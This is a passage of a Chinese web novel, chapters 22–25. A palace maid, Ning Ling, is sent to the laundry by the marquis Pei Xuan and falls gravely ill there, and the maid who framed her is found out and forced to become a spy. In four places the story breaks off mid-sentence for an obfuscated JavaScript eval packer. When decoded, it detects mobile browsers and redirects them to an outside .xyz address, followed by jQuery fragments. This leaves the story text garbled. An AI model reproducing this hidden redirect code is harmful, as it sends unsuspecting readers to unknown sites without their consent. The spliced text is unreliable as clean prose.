“唉,侯爷向来吃软不吃硬,你何必如此了。”紫叶面色忧愁,“你等侯爷回了,去认认错,说不定此事就过了。” 其实一年月银,依紫叶来看,宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895319|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泠稍稍服软,哄着点侯爷,随便赏赐点什么就回来了。 听了紫叶的话,宁泠气得语气激动:“我没错。” 是他自己颠倒黑白,污蔑她,竟然还想她去低头认错,简直是做梦。 “姐姐,我在这里,只会惹侯爷生气,还不如离开。”她对着紫叶行礼,“谢谢这段日子你对我的照顾。” 做完这些,她就抬起脚打算离开。 紫叶却拦住了她,“等侯爷回来再说。” 她怕侯爷早上是一时气急,待晚上回来人不见了,定然不给她好脸色。 待到裴铉回来时,天色擦黑,还不算太晚。 他回府后紫叶就去请示他的意思,很快林韦德跟着过来。 紫叶:“林大人带你去浣衣局。” 宁泠点点头,心里纳闷带路这种事随便个小厮丫头就能用做,林韦德专门过来干什么。 不过这种事都无所谓,宁泠就纳闷了下没放心上。 林韦德在前带路,宁泠背着包裹跟在他后面。 他体型大,步子迈的也大,他走一大步,宁泠要紧跟两步才跟着上。 一路上上走的她气喘吁吁,满头冒汗。 直到听见她粗重的呼吸声,林韦德一顿,脚步才稍稍停下。 “宁姑娘,你了解浣衣局吗?”他一边放缓速度,一边问道。 宁泠点点头,之前和大家闲聊,她知道那不是个好地方。 可她宁愿身体疲劳受苦,也不愿被人污蔑,为她人背锅。 只问过这句话后,林韦德就再未开口说话。 两人周边的光景也在缓缓变化,从花草茂盛,装修建筑精美的地方,逐渐到草木稀疏,偏僻的地方。 直到走至挂着门匾处的大门下,门匾上有三个字,宁泠只认得那个简单的衣。 林韦德走上阶梯,抬手敲门。 等了会里面传来嘈杂的说话声,一个头发花白,身子佝偻的中老年妇人开了门。 她看见林韦德先是一愣,语气惊喜:“林大人,你怎么来了?” 林韦德依旧那张凶煞的脸,粗声粗气:“侯爷罚了个婢女来浣衣局。” 他的视线落在宁泠身上,那个妇人的视线也落在她身上。 她心里嘀咕,这林大人专程送一趟,到底是什么意思? 是要多多蹉磨,好生收拾一番?还是要供着? 她那双精明的吊梢眼,偷偷看了几眼,可惜也没看出什么名堂。 宁泠见已经到了目的地,林韦德的任务已经完成,就向他行礼:“麻烦林大人走这一趟了。” 林韦德木着脸点点头,在宁泠正要转身离开时道:“若宁姑娘想通了,好好给侯爷认个错,还有机会回去。” 凭什么人人都让她认错?她做错了什么? 难道就因为裴铉位高权重,她出身低贱,就可以颠倒黑白,而她就必须她不顾真相,不在乎自尊,放低身段去顺从他? “不可能。”宁泠语气咬死。 林韦德随即不再说话,转身离开。 等他回去复命时,裴铉在练武场上,周围几个陪练的好手,或多或少身上都挂点彩。 裴铉身上大汗淋漓,带着股凌厉的气息,旁边的人神情畏惧。 “侯爷送到了。”林韦德递上干净的汗巾,“属下斗胆和她多说了几句话。” “说了什么?”裴铉青筋尽显的手接过汗巾。 22. 第 22 章 林韦德一五一十回答:“属下让她向你认认错,说这样就还能回来。” “一头倔驴。”裴铉冷笑一声,“她能认错?” 她不阴奉阳违,不当面顶撞他?就算是好的不得了了,指望她能认错? “她就冷冰冰说了三个字。”林韦德看了眼裴铉,语气弱了许多,“说不可能。” 裴铉神情未变,一双乌黑阴沉的眼睛盯着林韦德,“下次再自作主张,多嘴多舌,打断你的腿。” 林韦德面色为难,艰难地点点头。 明明谁送宁泠去浣衣局都行,再不济她自己去也成。只是罚个丫鬟,哪里用的着他? 侯爷的意思不就是让他去劝她服个软吗?难道他理解错了? 裴铉擦完的汗巾直接就甩向林韦德,眸子阴狠地对着众人:“再来。” 众人苦不堪言,也只得认命起身。 浣衣局门外,柳姑姑那双精明的眼将宁泠上下打量,刚才她见林韦德低声与她说了几句话。 只是她离得较远,加上林韦德有意压低声音,她也不好意思凑太近了,只模模糊糊地听见什么认错。 但也未见林韦德说提点照顾她,柳姑姑顿时犯了难。 柳姑姑的视线扫过她的面容,一双圆润灵气的杏眼,眉眼如画,挺翘小巧的鼻子,粉嫩的嘴唇。 长了一张娇俏动人的好脸,她猜测莫非这林韦德动了什么见不得人的心思。 宁泠见妇人那双精明锐利的眼珠转个不停,轻声问道:“不知姑姑如何称呼?奴婢初来乍到,还请姑姑多加关照。” 她嘴上说的乖巧,手里偷偷拿出一两银子塞进柳姑姑手里。 拿了银子自然好办事,柳姑姑的脸色好看多了,笑的眼角的皱纹越发明显。 “叫我柳姑姑就是了,你这是犯了什么错才被罚到这儿?”柳姑姑打探道。 宁泠老实说:“奴婢以前是争晖院上值的,不小心惹怒了侯爷被罚了。” 就算她不说,相信依柳姑姑在府邸多年的人脉消息,也能打探出些消息,还不如她自己避重就轻说出来。 柳姑姑点点头,侯爷脾气阴晴不定,遇上不顺眼的时候,触了霉头被罚再正常不过。就算林韦德有弯弯绕绕的其他心思,可也不能驳了侯爷的面子。 “你既来了这儿,就要守这儿规矩。”柳姑姑领着宁泠向里走,“咱们这里是府邸里最辛苦的地方。” 她心里打定了主意,她就是浣衣局一个小小的管事姑姑,肯定是惹不起林韦德的,既看林韦德面上,也看在这一两银子上,先照顾下这小丫头。 柳姑姑带着宁泠在浣衣局四处走动,宁泠看见大概数十人都身着旧灰色的衣裳,手里都拿着棒槌捶打浸湿的衣裳,还有不少人轮流排队从一口水井里取水。 她们脸色蜡黄,身材瘦弱,神情麻木,难得看见有人来了,也只是木讷的眼珠微微转动下。 “咱们这里每人洗衣服的量都是有定量的,每人五木桶,若是当天的活完不成,第二天的饭肯定甭想了。”柳姑姑给她解释着规矩流程,又话锋一转:“你刚来这儿,估计还不适应,你就每天两桶就是了。” 柳姑姑这番话说下来,干活的人纷纷停顿,视线紧紧落在宁泠身上,神情不服。 她们刚来这儿的时候,这个老虔婆可从没善解人意过。 见人人都望过来,柳姑姑神情不善,怒喝道:“个个都看什么?手上的活都忙完了?可别想着蒙混过关,每件衣裳我可是都要一一检查的。” “姑姑教训的是。”众人神情惶恐地回话。 “我丑话说在前头。”柳姑姑恶狠狠的眼神依次扫过众人,包括宁泠在里头,“要是谁的没洗干净,那可不是五桶的事了。” 宁泠赶紧低头随着众人回话。 柳姑姑才脸色转好,就算是林韦德看重的人,但在这里也要知道地头蛇不好惹,可别仗着自己有后台,就想骑她头上拉屎撒尿。 宁泠被人领着去了屋子,一间逼仄狭小的房间,靠窗边是个大通铺,正中央处将两张老旧的木桌拼凑在一起,还有几个旧旧的柜子放在角落里。 “你就住这儿。”青枝指着大通铺,“你自己选个噗。” 宁泠见大通铺上的位置大多都被占了,只余下靠窗的位置,她选了个靠窗的位置,角落里的柜子刚好是空的,她将自己的包裹放进去,上锁放好。 “青枝姐姐,咱们这浣衣局有多少人?”宁泠问道。 “二十来个吧。”青枝敷衍地回答。 也不知这宁泠什么来头,干妈对她和颜悦色,还让自己来照顾带带她。 宁泠点点头。 她到的时候天色已是擦黑了,柳姑姑让她明日才开始洗衣服,看来她的那一两银子也算花的值当。 在这府里,估计柳姑姑的月银也就三两,不过她们应该有下面人的孝敬,还有捞油水。 若是送的银子太少,怕对方看不上眼,可若是太多,哪剩下的金银可就容易被人觊觎了。 到了吃饭的时候,青枝带着宁泠去。 大多人都坐在长长的木条长凳上,桌上放着几叠菜,正中间放着一个大木桶,上面冒着升腾的热气。 宁泠的到来,显然让众人不太开心。 巧儿语气酸溜溜问道:“青枝姐姐,她刚来可还没洗完衣裳呢。” 桌子周围还站着一些人,眼神渴望地望着桌子。 都是些任务没完成,今日吃不成饭的人。 “问我干什么?有本事去姑姑啊。”青枝语气不好。 众人不敢再开腔,都眼神急切地望着开饭。 到了时间,柳姑姑来这数了数人,一声开饭命令下。 坐在木条凳子上的人如饿狼扑食,个个动作迅速地舀饭加菜。 木桶里盛着的是白白的稀饭,桌子上的菜几乎都是常见便宜的素菜,偶尔角落里藏着点油渣,也会立刻被眼疾手快的人夹走。 宁泠刚来不适应,只抢的一碗稀饭,几筷子素菜,等她再看是,已经被一扫而光了。 吃完晚饭,天色已经完全黑了,众人也不再继续洗衣服,都陆陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909523|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续续洗漱休息。 一件屋子大概有十个人,睡得大通铺,像柳姑姑这样的管事自然是一人一间屋,像青枝这种有关系的也不睡大通铺。 这里的人劳累了一天,谁都没有兴趣,花费多余的精力再去过问别的事情。 翌日一早,宁泠就跟着众人起来,早饭是一人两个馒头,一小叠咸菜。 接着她拿着两大桶衣裳开始清洗,从前她没怎么干过这种粗活,速度很慢。 连打水这事,都连续试了好几次才成功。 她本想请教下旁人,可看大家都忙碌沉默。她也不好打搅别人,重新排了几次队才取够水。 两大桶衣服,她从早洗到晚才堪堪刚好完成。 一个多月的时间一晃而过,柳姑姑冷眼看着宁泠,这林韦德似乎也不大上心,说不定早就将人给忘记了。 她躺在摇晃的木椅上,旁边青枝给她端着热茶。 柳姑姑沉思,要是这林韦德真将人忘了,她浣衣局可不养闲人。 这小丫头在争晖院伺候了那么久,必定不少体己钱,当时一出手就是一两银子,身上必定还有不少。 谁不知道进了这浣衣局,可都是她柳姑姑的了。 已是深秋,宁泠泡在水里的手被冻得通红,她一边洗衣服,一边观察着旁人。 许多人的手都是红肿的,其中还有不少人的冻疮已经开始发作,一个脓包高高鼓起。 宁泠寻思着,自己也该买点冻疮药提前预防,不然等长了冻疮后再用就晚了。只是因为都是些罪奴,所以不能随意出入,就算只是出浣衣局的大门都要柳姑姑同意才行。 去那搞到冻疮药呢? 青枝将一条薄毯子搭在柳姑姑身上:“姑姑,这宁泠到底什么来头?” 她看宁泠除了一副好颜色,也没别的出色之处,做事也是笨手笨脚的样子。 她有自己的私心,怕宁泠有靠山,也怕宁泠抢了自己的位置,她可不想没日没夜地洗衣服。 柳姑姑只端茶喝水,并不理会青枝的问题。 林韦德事务繁重,忘了宁泠也是情有可原。要不找个送衣服的时机,让宁泠回一趟争晖院,也算是提个醒,若是没什么反应,可别怪她不客气了。 她正思考着什么时机合适时,忽然听见宁泠那处传来一声惊呼。 她抬眼一瞧,是巧儿将脏衣服的水泼在宁泠腿脚处了,她懒得起身去管。 宁泠皱着眉头看向巧儿,“你干什么?” 巧儿气势不减,“你坐这儿挡住我了。” 她是前一个才进来的人,心里很不舒服,凭什么宁泠就可以每天只洗两桶衣服,还第一天就有饭吃。 之前她以为宁泠说不定是柳姑姑的亲戚,可一个多月下来,她就发现柳姑姑待她也不热情。 宁泠听见她这话,懒得和她争吵,直接将自己木盆端起来,朝着她干脆泼过去。 巧儿被浇得浑身都湿透了,张牙舞爪地想要扑上去,撕打宁泠报仇。 忽然外面,传来一阵咚、咚、咚的敲门声。 23. 第 23 章 众人的注意力都被吸引过去,柳姑姑面色转喜起身去开门。 那道敲门声似乎很是客气,只敲了片刻后就归于沉寂。 柳姑姑拉开门,门外却不是林韦德。 来者身穿一身奴役的深青色粗布衫,柳姑姑脸上的欢喜沉了下去:“你是何人?” 她还以为是林韦德来找宁泠了,她也能趁机讨点好处。 禧福面色局促:“姑姑安好,我来找宁泠。” “哦。”柳姑姑态度冷淡,“你找她干什么?” 禧福在晋阳府的时间比宁泠还久,自然不是愣头青。 他熟练地将一小块银子塞给柳姑姑,语气讨喜:“她与我是相熟好友,天气冷了,我托人买了点冻疮药想给他。” 柳姑姑当面掂了掂银子,估计也就小半两银子。 又瞧了眼他手里不值钱的冻疮药和包裹,对浣衣局内的宁泠喊道:“宁泠,有人找你。” 宁泠顾不得处理腿脚处湿了的衣服,就急匆匆地出来。 一见来了是禧福,她面色欣喜:“禧福,你怎么来了?” 禧福将为她准备的包裹递给她:“近来我有空,就想着来瞧瞧你。” 宁泠接过包裹很是惊讶,她没想到禧福会专门来看他,还为她准备东西。 “这些也不是我一个人准备的。”禧福面色尴尬地搓搓手,“紫叶姐姐,珍珠也都准备了些。她们不方便来看你,就让我来了。” 当初宁泠热心给她送了手套,他心里很是感激,如今有机会报答,自然不会推辞。 可惜念儿说什么都不肯和宁泠再扯上关系。 “谢谢你。”宁泠点点头。 她心里清楚,自己是被犯错被争晖院赶出去的人,她们还要在哪儿,自然不好和她扯上关系。 “乐絮也被罚了。”禧福说着争晖院之后发生的事情,“她降为院子里的二等丫鬟,其实大家都怀疑是她陷害你的。” 宁泠的耿直,大家都是知道的。 哪怕对上侯爷,她向来也是快言快语,那里有什么理由去陷害旁人。 宁泠抬起眼眸,眼眶了点点泪花,“谢谢你们相信我。” 终于有人相信她的清白,宁泠眼眶红红。 柳姑姑伫立在门口,见两人闲聊了一盏茶的功夫。 她也没有耐心在门口吹冷风“宁泠,今日的活都干完了吗?” “还没。”宁泠。 禧福很有眼力:“那我就回去了,你好生保重。” 宁泠点点头,目送他离开。 待她回了浣衣局,巧儿已经不见人影了,估计是去换衣裳去了。 一阵秋风瑟瑟吹来,冻得宁泠一颤,也连忙去换衣裳。 时间又过了半月,柳姑姑实在按奈不住了。 “这些衣裳都是争晖院的。”柳姑姑手指了指干净的几摞衣裳,“宁泠,下午的那桶衣裳,你就不用管了,将这些送过去吧。” 宁泠面色为难,她实在不愿去争晖院。 可她看了柳姑姑,完全一副没商量的态度,也只能答是。 旁边众人十分眼红,尤其是青枝,因为送衣裳这伙计原本就是她的,如今宁泠顶替了她,下午就要她去洗衣裳了。 虽然只是短短半日,可谁知道那日柳姑姑就彻底换了她。 宁泠将衣裳小心装好,接着提着出门。 出门浣衣局的大门,她有种恍若隔年的感觉。 终日日复一日地洗衣服,似乎她都变得麻木了。 外面的空气似乎都比浣衣局内清香,天空也更加湛蓝好看。 她提着衣服不急不慢地徐徐前行,走了半个时辰才到了争晖院。 快到门口时,宁泠却有些踌躇了。 她低头看了眼手里提着的衣服,接着走至院子门口,门外站着一个小丫鬟。 守门的小丫鬟没见过她,连忙问道:“你是何人?来这里干什么?” 宁泠将手里提着的衣裳示意给她看,“我是浣衣局的人,来送衣裳的。” 小丫鬟看了看,将她放了进去。 心里还嘟囔着,怎么突然换了人。 进了争晖院,里面的陈设布置还是与之前一模一样。 她看见坐在树下打络子的珍珠,向她走近。 宁泠还没走进,珍珠就发现了她。 珍珠语气惊喜:“宁泠姐,你怎么来了?” 宁泠指了指手下的衣裳:“我是来送衣裳的。” 珍珠赶紧接过衣裳,接着说道:“宁泠姐你别走,等我一会。” 宁泠不知她还有什么事,站在院子里点点头。 此事她看见念儿正从院子经过,她刚想走过去打个招呼,就见她急急忙忙地离开了。 宁泠顿时僵在原地,手足无措。 乐絮端着一盆水泼在院子,语气冷淡:“万人嫌。” 这三个字如一把锋锐的刀戳在宁泠的心口上。 被污蔑的是自己,她还没找乐絮算账,她还敢继续攻击她。 宁泠冷笑:“谁是万人嫌,谁自己心里清楚。” 乐絮面色一变,她现在在院子里的处境也不好,人人提防着她,不受人待见,所以刚才才将宁泠当做出气筒。 “看来陷害我,你也没什么好处。”宁泠目光锐利地上下扫视她一圈。 “总比你好。”见四人无人,乐絮气急败坏,“还以为侯爷有多喜欢你,也不过区区如此。是我陷害你又怎么样?侯爷还不是相信我。” 她这话一说完,忽然感觉后背一凉。 惊得她回头一瞧,只见裴铉带着林韦德不声不响地站在院子门口处。 乐絮顿时心急如焚,她不知侯爷何时来的,也不知她刚才那番话侯爷听见没?听了多少? 她赶紧行礼,宁泠也跟着行礼。 就在乐絮以为自己在劫难逃时,裴铉面无表情、仿若无睹地直接与二人擦身而过,林韦德赶紧跟上。 等裴铉走后,乐絮后背出了一身冷汗,她还以为侯爷会为宁泠出头。 也是,侯爷要真是喜欢宁泠,也不会罚她去浣衣局、 乐絮虚惊一场,冷笑示威地瞥了眼宁泠就离开。 小片刻功夫后,珍珠终于回来了。 她手里拿着个食盒:“宁泠姐,你瘦了好多。里面都是些糕点,你饿了可以吃。” 上次禧福送来的包裹里就有不少干粮类食物,珍珠年纪又小,正是馋嘴的时候。 宁泠那好意思收下,刚想拒绝,就听见里屋有人在喊珍珠。 珍珠急忙将食盒放她手上,“好像侯爷回来了,我去忙了。” 院子里又孤零零地只剩下宁泠,她不好多呆,提着食盒又走了。 室内的裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913628|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 铉,隔着窗台处的一道缝隙看着宁泠。 她瘦了许多,以前脸上藏不住心思,如今一副波澜不惊的模样。她的耳眼已经几乎完全闭合,只留下淡淡的痕迹,头上简单绑着绿色丝绦。 见她身影单薄孤零零的,却又十分果断,半分犹豫都没有地走了。 一如前几月那般傲气,不为权贵折腰 他以为刚才他出现在哪里时,宁泠会气鼓鼓地要他主持公道,为她证明清白。 或许会生气,会口齿伶俐地顶撞他。 可她什么也没做,连一眼都没多瞧。 林韦德默默伫立在一旁,不懂自家主子何苦这样? 心里既然记挂着宁泠,送上门的台阶为什么不下? 等宁泠人走了后,裴铉面色冷淡道:“将乐絮带过来。” 林韦德丝毫不意外,快步向前。 被林韦德拖过来的时候,乐絮面色惨白,她知道这是秋后算账,她逃不了了。 看着裴铉伫立在窗台处,似乎是看着窗外。 乐絮跪地磕头求饶:“奴婢当时害怕极了,才会做出这种混账事。” 她头用力地磕在地板上,发出砰砰砰的声响。 裴铉依旧望着空空荡荡的庭院。 乐絮感觉她头顶上似乎悬着一把刀,迟迟掉不下来,她心里的恐慌更甚,“请侯爷恕罪,请侯爷恕罪,请......” 她一声声哭喊,充斥在室内尤为嘈杂刺耳。 林韦德暗自皱眉,乐絮这是在找死。 裴铉终于转过身来,脸上挂着笑,语气平淡丝毫不见怒气,“你胆子挺大。” 这句话似是真心实意地在夸奖乐絮。 乐絮更加惊悚害怕,眼泪哗啦啦地流着,“侯爷,我一时情急之下才会做出这种事,不是故意的。” 裴铉背手悠哉悠哉地走着,“你不仅胆子大,还有点小聪明。” 乐絮看他嘴角上扬,哆哆嗦嗦道:“奴婢知错了。” “你说本候会怎么处置你呢?”裴铉脸上的笑意愈发灿烂。 乐絮想起之前的传言,想起被他处死的奴婢,大哭求饶:“奴婢知错了,奴婢真的不想死。” “死?”裴铉讥笑一声,“你未免把本候想得太善良了,简简单单就死了,怎么配得上你这弯弯绕绕的心思。” 乐絮被他这一番话惊得说不出话,呆呆地仰望着他。 “你既会装可怜,又会诬陷人。”裴铉语气真挚,“可真是不可多得好苗子,本候还指望你立大功呢。” 林韦德眉心一跳。 “不知侯爷派奴婢做何事?”乐絮转悲为喜,活着总比死了好。 裴铉低声带笑:"派你去其他府上做探子,相信依你的能力,自然有一番大作为。" 乐絮顿时脸色惨白,她知道做探子被抓住的下场,生不如死,各种刑具严刑逼供。 她吓得连忙想去抱住裴铉的腿求饶,却被林韦德一脚踹开。 裴铉玩够了,挥挥手。 身边潜藏着的暗卫立刻将乐絮带了下去。 要做探子,自然忠心最重要。 可人心难测,只要服下毒药控制,那就简单得多。 林韦德知道裴铉的心情很不好,不然也不会那般折磨乐絮。 他迟疑了会,还是开口问道:“侯爷,是否要将宁姑娘请回来?” 24. 第 24 章 裴铉迟迟没有回话,过了会才嗤笑一声。 “她那番傲骨,真好多磨磨。” 他是权势皆有的侯爷,皇亲贵族,怎么可能像一个奴婢低头? 她若是肯求求他,他就勉强原谅她之前言行无状。 林韦德点头,侯爷这脾气那有愿意放下身段的时候。 过了半晌,又听见裴铉的声音,在安静的室内显得十分突兀。 “这府里的蛀虫太多了。”裴铉面色冷淡。 林韦德抬起眼眸看向裴铉,神情不解。 “每日府里开销大把大把的银子流水似的往外。”裴铉冷笑,“可也不知银子到达花哪儿,倒是个个管事的大腹便便,油腻得像头猪。” 林韦德不知裴铉怎么忽然说着这儿,又继续思考他说得管事的肥头大耳。 王管家长得清秀,像个读书人,并不肥。 林韦德的脑子转了许久,都没想到近日侯爷见了那个胖胖的管事。 一说到胖,林韦德忽然想到了宁泠。 刚才他也瞧见她了,整个人瘦了一大圈,骨瘦如柴。 只剩下一双大大的眼睛,脸蛋怕是一个巴掌都能全部遮住。 但是林韦德也不确定,试探性地问道:“灶房的油水最多,那里的管家个个都挺着大肚子,不如属下先从此地下手?” 裴铉点点头:“盘在侯府吸血,他们倒是想得美。” 林韦德心里纳闷,侯爷有话直说就是,干嘛如今弯弯绕绕的。 以往对他都是有事直接吩咐。 宁泠回去的路上,思考着一直呆在浣衣局也不是长久之计。 之前她就想逃跑,可担心在争晖院里太难实施。 现在瞧着裴铉似乎对她颇为冷淡,可以寻找机会一试。 虽然没有什么很好的手艺生存,可也好过在浣衣局谋生。 见宁泠很快的回来,手上还提着东西。 柳姑姑扫视几眼:“衣裳都送妥当了?这是什么?” 宁泠不愿轻易得罪她,将食盒揭开:“这是熟人送我的点心,姑姑尝尝。” 柳姑姑不客气地掂起一块糕点,眯着眼看。 上面的花纹样式一瞧就知是好货。 柳姑姑暗自猜测莫非是林韦德给他的,她小口尝了下:“味道是极好的,是谁送的啊?” 宁泠:“就是以前相熟的小丫头。” 柳姑姑点点头,打算再观察几天。 天气越来越冷,到了快入冬的时候,人人都穿上了厚衣服。 吹风的时候,像是有把刀子刮在人脸上,顿疼顿疼的。 吃饭的时候,大家都围在木桌前,冷得跺脚哈气。 许多人手上的冻疮开始破口,看起来十分严重。 幸好禧福送来了药膏,宁泠每晚睡前都会擦药,现在双手虽然红肿粗糙,但没有长冻疮。 但是估计到了最寒冷的冬季就难说了。 宁泠低头暗自叹了口气。 巧儿不忿地瞥了她一眼,就宁泠每日洗得衣裳最少,她还叹气。 柳姑姑照旧来清点了人数,正打算走时,听到一道声音。 “柳姑姑,宁泠也来了这这么久了,什么东西也该熟悉了吧。”巧儿大声说着,“难不成要等以后来了新人,她才开始洗五桶衣裳?” 柳姑姑不悦地蹙起眉头。她如今虽然不打算护着宁泠了,可也不喜欢巧儿当众质疑她的决定。 她板着脸色,正要呵斥巧儿。 青枝小心翼翼附在她耳旁:“姑姑,最近私底下好多人也不满,找我闹了好几回了。” 柳姑姑看了眼宁泠,林韦德这么久也没来浣衣局,连半句话都没托人捎来,估计宁泠就是他那日顺路带过来的,与他没什么关系。 思及此,柳姑姑朝着宁泠道:“宁泠,你也到了这么久了,也应该和大家一样,都洗五桶衣裳,免得大家说我处事不公,有失偏颇。” 她这话说得有理有据,半分刁难之意也无。 宁泠站起来,点点头:“姑姑说得对,早些日子承蒙大家对我的照顾,如今也不好意思继续拖累大家伙。” 柳姑姑面上浮现出满意:“你如此懂事就好。那便从明日开始。” 巧儿本想再开口,见柳姑姑恶狠狠地瞪了她一眼,立刻闭嘴不言。 到了第二日,宁泠起的比旁人还早些,她知道自己干活手脚不够麻利。 笨鸟先飞的道理,她还是懂。 中午吃饭的时候,她一下察觉今日的伙食好了很多。菜色的新鲜程度提高了不少,瞧着也是油水充足,尤其里面还有不少肉,个个切成正方形,肥瘦相间,很是诱人。 众人口齿生津,议论纷纷,以往那有这种好日子,顶多也就是过年过节那几天。 连饭都是香喷喷的干白米饭,不是清汤寡水的白粥。 宁泠特意多撑了些下去,面色愁苦,也不知今日吃饱了,明日还有没? 说实话她对自己洗衣服的速度没有自信心。 到了晚上熄灯的时候,宁泠才洗了三桶半。 她没有完成洗五桶衣裳的任务,第二日一天都没有饭吃。 宁泠一个人坐在床边,蹙眉思考着这样下去可不行。 总不能每次五桶衣裳分两天洗完,这种事情一两次倒是还好。 可要是每每两天才能有一日吃饭,那可怎么行? 她无力地靠在床头,饥肠辘辘。 外面食物的香味通过窗户飘了近来,闻见后越发饿了。 肚子咕噜咕噜叫个不停。 到了下午时候,宁泠将五桶衣裳终于洗完。 她去向柳姑姑请示,能不能将明天的衣服先拿来。 柳姑姑疑惑着问她:“马上天就要黑了,你今日也洗不了几件了,这么着急干什么?” “虽然天黑了,瞧不见衣服洗干净没。”宁泠老老实实说说出自己的想法,“但是奴婢想着先洗个大概,明日再仔细重洗一遍。” 柳姑姑懂了她意思,晚上熬夜洗一遍衣裳,第二日再洗自然快得多。 她应允地点点头,这种小事她暂时没不要为难她。 伸手不见五指的晚上,宁泠一个人坐在庭院,她用力地使着棒槌在搓衣板上捶打衣裳。 一阵冷风吹来,她的牙齿上下开始抖动,整个人哆哆嗦嗦。 手指被冷水冻得僵硬,似乎都没有知觉了。 但是好在晚上打水的人很少,她不用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932893|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花时间排队等打水。 所以洗衣服的时间节省了很多。 到了后半夜,她终于拖着疲惫的身体回去了。 倒头就睡,连窗户没关都没注意到。 连续几日下来,宁泠得了风寒,头重脚轻的感觉。 嗓子也是干疼干疼,感觉自己晕乎乎。 估计是第一日睡觉忘了关窗户,加上后半夜寒气重。 宁泠躺在床上想着,她打算今晚不洗衣裳了。 虽然明日的五桶肯定就洗不完了,后日就没有饭吃了。 可是她现在好像都感觉不到饱饿了,只想睡觉。 现在窗子已经关好了,但是冬日的寒风总能顺着窗缝里飘进来。 早晨众人起床的动静吵醒了宁泠,她强撑着身体起床去吃饭。 毕竟生病了不吃饭,肯定好得慢。 而且自己辛辛苦苦挣来的三餐,她也舍不得随意挥霍。 今日这一天宁泠勉勉强强才洗了两桶,她躺在床上时候,感觉自己冷得很,哪怕身子裹在被子里,整个人还是冻得瑟瑟发抖。 到了第二日,整个人一点反应都没。 大家都起床了,众人见她一点响动都没,以往她可从没这样。 有好心的去瞧了下,见她人陷在被子里,外面只露出一张小小的脸蛋。 脸蛋通红,上面布满湿汗。 那人伸手一摸,滚烫地厉害。 “她发高热来了。”她大喊一声。 众人包括她都通通散开,当奴婢的发了高热都是九死一生,全看命。 她们是奴婢中的奴婢,生病了可没有大夫和药。 全靠自己熬过去,小病小痛还好。 可一下发高热那就是凶多吉少。 而且高热会传染,前些年就有人得了高热,住在屋子里,结果一个大通铺死了好几个。 青枝得了消息,赶快通知柳姑姑:“姑姑,不如先挪到杂物房?” 以往发了高热的人都是单独挪到这儿。 但是杂物房四处透风,而且脏乱,那里是养病的好地方。 可浣衣局本就是罪奴待的地方,除了柳姑姑的屋子,那有什么好地方。 柳姑姑点点头:“去给她熬一副药,连人带药一起弄过去,是生是死就看她自己了。” 不是她心狠,是浣衣局的人都这么熬过来的。 青枝领命下去安排了。 由挨着宁泠睡的几人将她搬了进去,她们脸上带着面纱,熬了一碗药见她没醒,将药搁旁边便急急忙忙地跑了出去。 宁泠先是全身上下冷得厉害,像是骨头里散发出来的冷。 睡到后面,她又热得厉害,一身里衣都被汗浸湿了。 她迷迷糊糊地醒了,嗓子痛得厉害,干渴得很。 她脑袋发晕,捂着脑袋从床上起来,迷茫地看着周围的杂物,她躺在一张小小的木床上,身上是自己原来的被子,墙角结着蜘蛛网,地上的灰尘也很厚。 地上有一碗黑黝黝的中药,她费力地端起来,已经冰冷。 她一饮而尽,又浑浑噩噩地继续睡下。 柳姑姑想了想,人是林韦德带进来的,不管有什么好歹总要支会他一声。 25. 第 25 章 柳姑姑将青枝唤了进来:“你去林大人那儿跑一趟,说宁泠发高热,估计不行了。” 青枝先是不可置信地睁大眼睛。 她真没想到原来柳姑姑厚待宁泠的原因在这。 “一定要当面原话传达。”柳姑姑语气加重,“少在我这儿耍什么心思,耽误了事情,小蹄子仔细你的贱皮。” 青枝的那些小心思,素日里她懒得理会,可不代表她会让她胡作非为,然后自己去顶罪。 青枝见姑姑态度如此严厉,立刻收了心里的小算盘。 林韦德刚开始听见有浣衣局的小丫鬟听见,先是面色微喜。 见到青枝后,他眉头蹙起,粗声粗气:“你是何人?找我什么事?” 林韦德本就长得穷凶极恶的面相,加上语气不善。 